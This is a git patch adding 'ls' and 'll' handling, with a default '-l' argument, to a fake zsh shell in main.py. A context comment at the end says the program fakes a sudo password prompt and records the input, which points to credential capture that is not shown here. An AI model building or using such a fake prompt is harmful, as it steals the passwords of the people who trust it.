From c3d0f3928deacd7415af3da42c0acc873677e456 Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Tue, 8 Apr 2025 08:44:04 +0800 Subject: [PATCH] =?UTF-8?q?=E5=9C=A8=20main.py=20=E4=B8=AD=E6=B7=BB?= =?UTF-8?q?=E5=8A=A0=E5=AF=B9=20'ls'=20=E5=92=8C=20'll'=20=E5=91=BD?= =?UTF-8?q?=E4=BB=A4=E7=9A=84=E6=94=AF=E6=8C=81=EF=BC=8C=E9=BB=98=E8=AE=A4?= =?UTF-8?q?=E5=8F=82=E6=95=B0=E4=B8=BA=20'-l'?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/main.py b/main.py index 43a9f05..dd7c09e 100644 --- a/main.py +++ b/main.py @@ -74,6 +74,22 @@ def pseudo_zsh(): except FileNotFoundError: print(f"cd: no such file or directory: {args[1]}") # 目录不存在 continue + if args[0] == 'ls': + try: + if len(args) == 1: + args.append('-l') # 默认参数 + subprocess.run(['ls'] + args[1:]) # 执行 ls 命令 + except FileNotFoundError: + print(f"zsh: command not found: {args[0]}") + + if args[0] == 'll': + try: + if len(args) == 1: + args.append('-l') # 默认参数 + subprocess.run(['ls'] + args[1:]) # 执行 ll 命令 + except FileNotFoundError: + print(f"zsh: command not found: {args[0]}") + # 伪造 sudo 密码输入并记录